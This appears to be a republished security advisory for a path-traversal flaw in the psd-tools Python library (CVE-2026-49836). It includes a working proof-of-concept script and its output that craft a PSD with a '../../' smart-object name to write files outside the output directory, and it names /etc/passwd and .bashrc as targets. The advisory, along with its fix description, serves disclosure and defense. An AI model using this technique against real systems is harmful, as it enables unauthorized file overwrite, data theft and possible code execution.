Summary
psd-tools vulnerable to arbitrary file write via smart-object filename
psd-tools: arbitrary file write/read via smart-object path traversal
In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.
A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.
Details
Write path, SmartObject.save() (primary)
src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):
def save(self, filename: str | None = None) -> None:
if filename is None:
filename = self.filename # untrusted, straight from the file
with open(filename, "wb") as f:
f.write(self.data) # attacker-controlled bytes
self.filename comes from the file with no validation, the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.
Read path, SmartObject.open() / .data for external kind (secondary)
For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.
Proof of concept
Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.
pip install psd-tools==1.17.0
python poc.py
poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name, control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin, then extracts each like a consumer would:
import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag
MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}
def craft(name, out):
psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
uuid = next(l.smart_object.unique_id for l in psd.descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
if item.uuid.strip("\x00") == uuid:
item.filename, item.data = name, MARKER
psd.save(out)
def extract(psd_path, outdir, watch):
psd = PSDImage.open(psd_path)
before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
cwd = os.getcwd(); os.chdir(outdir)
try:
for l in psd.descendants():
if l.kind == "smartobject" and l.smart_object.kind == "data":
l.smart_object.save()
finally:
os.chdir(cwd)
after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
return sorted(after - before)
def main():
tmp = tempfile.mkdtemp(prefix="poc_")
try:
escaped = {}
for tag, name in NAMES.items():
psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
so = next(l.smart_object for l in PSDImage.open(psd).descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
print(f"[{tag}] parsed embedded name = {so.filename!r}")
outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
for w in written:
print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
ok = (not escaped["control"] and escaped["exploit"]
and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
return 0 if ok else 1
finally:
shutil.rmtree(tmp, ignore_errors=True)
raise SystemExit(main())
Output (psd-tools 1.17.0):
[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir
VERDICT: ARBITRARY FILE WRITE CONFIRMED
An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.
Severity
Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.
Weaknesses
CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).
Resources
- Fix PR: https://github.com/psd-tools/psd-tools/pull/657
- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
- Affected source (tag
v1.17.0):src/psd_tools/api/smart_object.py:170-179
(sink),:62-67(untrustedfilename);src/psd_tools/psd/linked_layer.py:100
(source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w ,
compression resource exhaustion; GHSA-22jr-vc7j-g762, buffer overflow). Thesave()write logic is unchanged since theSmartObjectAPI was introduced,
so all releases exposing it are affected.
Impact
Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory, no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.
For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:
save(): strips directory components from the embedded name viaos.path.basename(), writes only into a caller-supplieddirectory(defaults to CWD), and verifies the resolved path stays inside that directory viaos.path.realpath()+os.path.commonpath(). A newexternal_dirparameter is propagated toopen()for external-kind objects to constrain the read source.open(): whenexternal_diris provided, afullPathresolving outside it is silently ignored (falls through torelPath); arelPathescaping the directory raisesValueError.
Frequently Asked Questions
- What is CVE-2026-49836? CVE-2026-49836 is a medium-severity path traversal vulnerability in psd-tools (pip), affecting versions <= 1.17.0. It is fixed in 1.17.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of psd-tools are affected by CVE-2026-49836? psd-tools (pip) versions <= 1.17.0 is affected.
- Is there a fix for CVE-2026-49836? Yes. CVE-2026-49836 is fixed in 1.17.1. Upgrade to this version or later.
- Is CVE-2026-49836 exploitable, and should I be worried? Whether CVE-2026-49836 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-49836 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-49836? Upgrade
psd-toolsto 1.17.1 or later.